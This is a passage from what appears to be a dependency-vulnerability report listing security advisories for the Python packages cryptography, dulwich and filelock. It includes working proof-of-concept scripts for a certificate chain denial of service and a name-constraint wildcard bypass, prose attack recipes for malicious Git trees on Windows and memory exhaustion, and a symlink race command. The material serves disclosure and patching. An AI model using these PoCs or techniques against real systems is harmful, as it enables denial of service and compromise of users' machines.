key_cert_sign=True, crl_sign=True, encipher_only=False, decipher_only=False, ) EE_KEY_USAGE = x509.KeyUsage( digital_signature=True, content_commitment=False, key_encipherment=False, data_encipherment=False, key_agreement=False, key_cert_sign=False, crl_sign=False, encipher_only=False, decipher_only=False, ) def name(common_name): return x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, common_name)]) def base_builder(subject, issuer, public_key, serial): return ( x509.CertificateBuilder() .subject_name(subject) .issuer_name(issuer) .public_key(public_key) .serial_number(serial) .not_valid_before(NOW - datetime.timedelta(days=1)) .not_valid_after(NOW + datetime.timedelta(days=30)) ) def make_ca(common_name, serial): private_key = ec.generate_private_key(ec.SECP256R1()) subject = name(common_name) cert = ( base_builder(subject, subject, private_key.public_key(), serial) .add_extension(x509.BasicConstraints(ca=True, path_length=None), True) .add_extension(CA_KEY_USAGE, True) .add_extension( x509.SubjectKeyIdentifier.from_public_key(private_key.public_key()), False, ) .sign(private_key, hashes.SHA256()) ) return private_key, cert def make_leaf(issuer_key, issuer_cert): private_key = ec.generate_private_key(ec.SECP256R1()) return ( base_builder(name("leaf"), issuer_cert.subject, private_key.public_key(), 100) .add_extension(x509.BasicConstraints(ca=False, path_length=None), True) .add_extension(EE_KEY_USAGE, True) .add_extension(x509.SubjectAlternativeName([x509.DNSName("example.com")]), False) .add_extension( x509.AuthorityKeyIdentifier.from_issuer_public_key(issuer_key.public_key()), False, ) .add_extension(x509.ExtendedKeyUsage([ExtendedKeyUsageOID.SERVER_AUTH]), False) .sign(issuer_key, hashes.SHA256()) ) def build_material(): looping_key, looping_ca = make_ca("looping self-signed CA", 1) _, unrelated_root = make_ca("unrelated trust anchor", 2) leaf = make_leaf(looping_key, looping_ca) return leaf, looping_ca, unrelated_root def verify_case(duplicates, max_depth, queue): leaf, looping_ca, unrelated_root = build_material() verifier = ( PolicyBuilder() .store(Store([unrelated_root])) .time(NOW) .max_chain_depth(max_depth) .build_server_verifier(DNSName("example.com")) ) start = time.perf_counter() try: verifier.verify(leaf, [looping_ca] * duplicates) result = "accepted" except VerificationError: result = "rejected" queue.put((result, time.perf_counter() - start)) def run_case(duplicates, max_depth): queue = multiprocessing.Queue() process = multiprocessing.Process( target=verify_case, args=(duplicates, max_depth, queue), ) process.start() process.join(TIMEOUT) if process.is_alive(): process.terminate() process.join() print(f"{duplicates},{max_depth},timeout>{TIMEOUT}s,") return result, elapsed = queue.get() print(f"{duplicates},{max_depth},{result},{elapsed:.6f}") if __name__ == "__main__": print("duplicates,max_depth,result,seconds") for case in [(1, 7), (2, 7), (3, 7), (4, 7), (3, 8), (4, 8), (5, 7), (6, 6)]: run_case(*case) ### Impact This issue exposes an amplification pathway over data that in many applications may be user-controlled, leading to the possibility of a denial of service through resource exhaustion. As the correctness of validation is not affected, the integrity of a system cannot be compromised through this vector, only its availability.
cryptography	45.0.7	PYSEC-2026-3554	49.0.0	### Summary If an intermediate constrained CA permits the DNS name foo.example.com, and the leaf certificate has a wildcard in its DNS SAN of *.example.com, python-cryptography's verifier accepts which allows escaping outside of the permitted names. ### PoC #!/usr/bin/env python3 """Standalone PoC: pyca's DNSConstraint::matches admits a too-broad wildcard SAN. Setup: Sub-CA permitted constraint: dNSName = foo.example.com Leaf SAN: dNSName = *.example.com Expected: rejection (RFC 5280 §4.2.1.10 + standard wildcard semantics). Observed: pyca accepts; further, asks server-verifier whether the leaf is authoritative for `bar.example.com` and pyca answers yes — a sub-CA scope escape. """ import datetime from cryptography import x509 from cryptography.x509.oid import NameOID from cryptography.hazmat.primitives import hashes from cryptography.hazmat.primitives.asymmetric import ec from cryptography.x509.verification import ( PolicyBuilder, Store, ExtensionPolicy, Criticality, VerificationError, ) now = datetime.datetime(2027, 1, 1, tzinfo=datetime.timezone.utc) day = datetime.timedelta(days=1) def build(subject, issuer, key, issuer_key, ca, exts=()): b = (x509.CertificateBuilder() .subject_name(subject).issuer_name(issuer) .public_key(key.public_key()) .serial_number(x509.random_serial_number()) .not_valid_before(now - 30 * day) .not_valid_after(now + 3650 * day) .add_extension(x509.BasicConstraints(ca=ca, path_length=None), critical=True)) for e, c in exts: b = b.add_extension(e, c) return b.sign(issuer_key, hashes.SHA256()) # Root rk = ec.generate_private_key(ec.SECP256R1()) rn = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "Test Root")]) root = build(rn, rn, rk, rk, True) # Sub-CA constrained to foo.example.com sk = ec.generate_private_key(ec.SECP256R1()) sn = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "Sub-CA")]) nc = x509.NameConstraints( permitted_subtrees=[x509.DNSName("foo.example.com")], excluded_subtrees=None, ) sub = build(sn, rn, sk, rk, True, [(nc, True)]) # Leaf with SAN *.example.com (over-broad relative to the constraint) lk = ec.generate_private_key(ec.SECP256R1()) ln = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "Leaf")]) san = x509.SubjectAlternativeName([x509.DNSName("*.example.com")]) leaf = build(ln, sn, lk, sk, False, [(san, False)]) # Policies ca_pol = ExtensionPolicy.permit_all().require_present( x509.BasicConstraints, Criticality.AGNOSTIC, None, ) ee_pol = ExtensionPolicy.permit_all().require_present( x509.SubjectAlternativeName, Criticality.AGNOSTIC, None, ) v = ( PolicyBuilder() .store(Store([root])) .time(now) .extension_policies(ca_policy=ca_pol, ee_policy=ee_pol) .build_server_verifier(x509.DNSName("bar.example.com")) ) try: v.verify(leaf, [sub]) print("BUG: pyca trusted leaf as bar.example.com though sub-CA was constrained to foo.example.com") except VerificationError as e: print(f"EXPECTED: VerificationError: {e}") ### Impact Acceptance of invalid certificate chain.
cryptography	45.0.7	GHSA-537c-gmf6-5ccf	48.0.1	pyca/cryptography's wheels include a statically linked copy of OpenSSL. The versions of OpenSSL included in wheels prior to cryptograph 48.01 are vulnerable to a security issue. More details about the vulnerability itself can be found in https://openssl-library.org/news/secadv/20260609.txt. If you are building cryptography source ("sdist") then you are responsible for upgrading your copy of OpenSSL. Only users installing from wheels built by the cryptography project (i.e., those distributed on PyPI) need to update their cryptography versions.
dulwich	0.22.1	PYSEC-2026-2466	1.2.5	## Impact An uncontrolled-resource-consumption (memory exhaustion) denial-of-service vulnerability (CWE-400 / CWE-789). A client with push access could push a tiny crafted thin pack (~174 bytes) whose delta header declares a huge dest_size. When dulwich ingested it via add_thin_pack / apply_delta, it would allocate hundreds of MB of memory based on that attacker-controlled size, with no relationship to the actual bytes received. Who is impacted: Operators running a Dulwich-based Git server that exposes git-receive-pack (i.e. accepts pushes) - for example via dulwich.server functionality, the HTTP smart server, or anything built on ReceivePackHandler. ## Patches Patched in 1.2.5. add_thin_pack now accepts a max_input_size keyword (bytes; 0/None = unlimited, matching git's semantics), and ReceivePackHandler reads receive.maxInputSize from the repository config and passes it through. Wire reads are counted and a PackInputTooLarge exception is raised once the cap is exceeded - equivalent to git index-pack --max-input-size. Users should upgrade to Dulwich 1.2.5 or later and set receive.maxInputSize in their server's repository config to a sane bound for their environment. ## Workarounds On unpatched versions, receive.maxInputSize has no effect, so it cannot be used as a workaround. Until upgrading, operators should: - Restrict dulwich-receive-pack (push) access to trusted, authenticated clients only, or disable it entirely on servers that only need to serve fetches. - Run the server under an OS-level memory limit (e.g. ulimit, cgroups/MemoryMax, or a container memory limit) so a malicious push is killed rather than taking down the host. ## Resources - git's receive.maxInputSize / git index-pack --max-input-size documentation - Reported by Liyi, Ziyue, Strick, Maurice and Chenchen @ University of Sydney
dulwich	0.22.1	PYSEC-2026-2463	1.2.5	## Impact Arbitrary file write leading to remote code execution when cloning or checking out a malicious Git repository on Windows. Dulwich's path-element validator accepted tree entries whose filenames contained bytes that Windows interprets as structural path syntax: - \ — the Windows path separator. A single tree entry named .git\hooks\pre-commit.exe was treated as one valid filename on POSIX but materialized as nested directories .git/hooks/pre-commit.exe on Windows, planting a file inside the victim's .git directory. Git for Windows then executes that hook on the next git commit, giving the attacker arbitrary code execution in the victim's user context. The same primitive can be used with ..\outside.txt to escape the work tree. - : — the NTFS alternate-data-stream marker. .git::$INDEX_ALLOCATION writes directly into the victim's .git entity, bypassing the .git-as-a-directory check. - git~ — NTFS 8.3 short-name aliases of .git. Only the literal git1 was rejected; git2, git10, GIT1, etc. were all accepted. Contributing configuration bugs made matters worse. The core.protectNTFS and core.protectHFS settings were looked up under a wrong option name and so user-set values were silently ignored, and core.protectNTFS only defaulted to true on Windows (Git upstream has defaulted it to true everywhere since CVE-2019-1353). Both have been corrected. Anyone who clones, fetches, or checks out an untrusted repository with Dulwich on Windows - either through the Dulwich CLI, porcelain.clone, or any downstream tool built on Dulwich - is impacted. POSIX clones are not directly exploitable (on POSIX \ is a literal filename byte), but a POSIX user can unknowingly propagate a malicious tree to Windows consumers via push or re-publication. ## Patches Fixed in Dulwich 1.2.5. Users should upgrade to 1.2.5 or later. The fix lives in three commits: - Read core.protectNTFS / core.protectHFS under their documented option names so user-set values are honored. - Default core.protectNTFS to true on every platform, matching Git's PROTECT_NTFS_DEFAULT=1. - Reject , :, and all git~ 8.3 short-name forms in validate_path_element_ntfs. ## Workarounds There is no effective pre-patch workaround. On affected versions the core.protectNTFS configuration key was silently ignored, so setting it to true does not mitigate the issue. Users who cannot upgrade should avoid cloning, fetching, or checking out untrusted repositories with Dulwich on Windows. After upgrading the NTFS validator is on by default on every platform, so no additional configuration is required. ## Resources - Git upstream path validation: https://github.com/git/git/blob/master/path.c (is_ntfs_dotgit, verify_path) - CVE-2019-1353 — the Git upstream vulnerability that established core.protectNTFS = true as the cross-platform default - CVE-2019-1354 — backslash-in-tree-path class in Git, analogous to this issue
filelock	3.12.2	PYSEC-2026-1375	3.20.1	### Impact A Time-of-Check-Time-of-Use (TOCTOU) race condition allows local attackers to corrupt or truncate arbitrary user files through symlink attacks. The vulnerability exists in both Unix and Windows lock file creation where filelock checks if a file exists before opening it with O_TRUNC. An attacker can create a symlink pointing to a victim file in the time gap between the check and open, causing os.open() to follow the symlink and truncate the target file. Who is impacted: All users of filelock on Unix, Linux, macOS, and Windows systems. The vulnerability cascades to dependent libraries: - virtualenv users: Configuration files can be overwritten with virtualenv metadata, leaking sensitive paths - PyTorch users: CPU ISA cache or model checkpoints can be corrupted, causing crashes or ML pipeline failures - poetry/tox users: through using virtualenv or filelock on their own. Attack requires local filesystem access and ability to create symlinks (standard user permissions on Unix; Developer Mode on Windows 10+). Exploitation succeeds within 1-3 attempts when lock file paths are predictable. ### Patches Fixed in version 3.20.1. Unix/Linux/macOS fix: Added O_NOFOLLOW flag to os.open() in UnixFileLock._acquire() to prevent symlink following. Windows fix: Added GetFileAttributesW API check to detect reparse points (symlinks/junctions) before opening files in WindowsFileLock._acquire(). Users should upgrade to filelock 3.20.1 or later immediately. ### Workarounds If immediate upgrade is not possible: 1. Use SoftFileLock instead of UnixFileLock/WindowsFileLock (note: different locking semantics, may not be suitable for all use cases) 2. Ensure lock file directories have restrictive permissions (chmod 0700) to prevent untrusted users from creating symlinks 3. Monitor lock file directories for suspicious symlinks before running trusted applications Warning: These workarounds provide only partial mitigation. The race condition remains exploitable. Upgrading to version 3.20.1 is strongly recommended. ______________________________________________________________________ ## Technical Details: How the Exploit Works ### The Vulnerable Code Pattern Unix/Linux/macOS (src/filelock/_unix.py:39-44): ```python def _acquire(self) -> None: ensure_directory_exists(self.lock_file) open_flags = os.O_RDWR
filelock	3.12.2	PYSEC-2026-1374	3.20.3	## Vulnerability Summary Title: Time-of-Check-Time-of-Use (TOCTOU) Symlink Vulnerability in SoftFileLock Affected Component: filelock package - SoftFileLock class File: src/filelock/_soft.py lines 17-27 CWE: CWE-362, CWE-367, CWE-59 --- ## Description A TOCTOU race condition vulnerability exists in the SoftFileLock implementation of the filelock package. An attacker with local filesystem access and permission to create symlinks can exploit a race condition between the permission validation and file creation to cause lock operations to fail or behave unexpectedly. The vulnerability occurs in the _acquire() method between raise_on_not_writable_file() (permission check) and os.open() (file creation). During this race window, an attacker can create a symlink at the lock file path, potentially causing the lock to operate on an unintended target file or leading to denial of service. ### Attack Scenario 1. Lock attempts to acquire on /tmp/app.lock 2. Permission validation passes 3. [RACE WINDOW] - Attacker creates: ln -s /tmp/important.txt /tmp/app.lock 4. os.open() tries to create lock file 5. Lock operates on attacker-controlled target file or fails --- ## Impact What kind of vulnerability is it? Who is impacted? This is a Time-of-Check-Time-of-Use (TOCTOU) race condition vulnerability affecting any application using SoftFileLock for inter-process synchronization. Affected Users: - Applications using filelock.SoftFileLock directly - Applications using the fallback FileLock on systems without fcntl support (e.g., GraalPy) Consequences: - Silent lock acquisition failure - applications may not detect that exclusive resource access is not guaranteed - Denial of Service - attacker can prevent lock file creation by maintaining symlink - Resource serialization failures - multiple processes may acquire "locks" simultaneously - Unintended file operations - lock could operate on attacker-controlled files CVSS v4.0 Score: 5.6 (Medium) Vector: CVSS:4.0/AV:L/AT:L/PR:L/UI:N/VC:N/VI:L/VA:H/SC:N/SI:N/SA:N Attack Requirements: - Local filesystem access to the directory containing lock files - Permission to create symlinks (standard for regular unprivileged users on Unix/Linux) - Ability to time the symlink creation during the narrow race window --- ## Patches _Has the problem been patched? What versions should use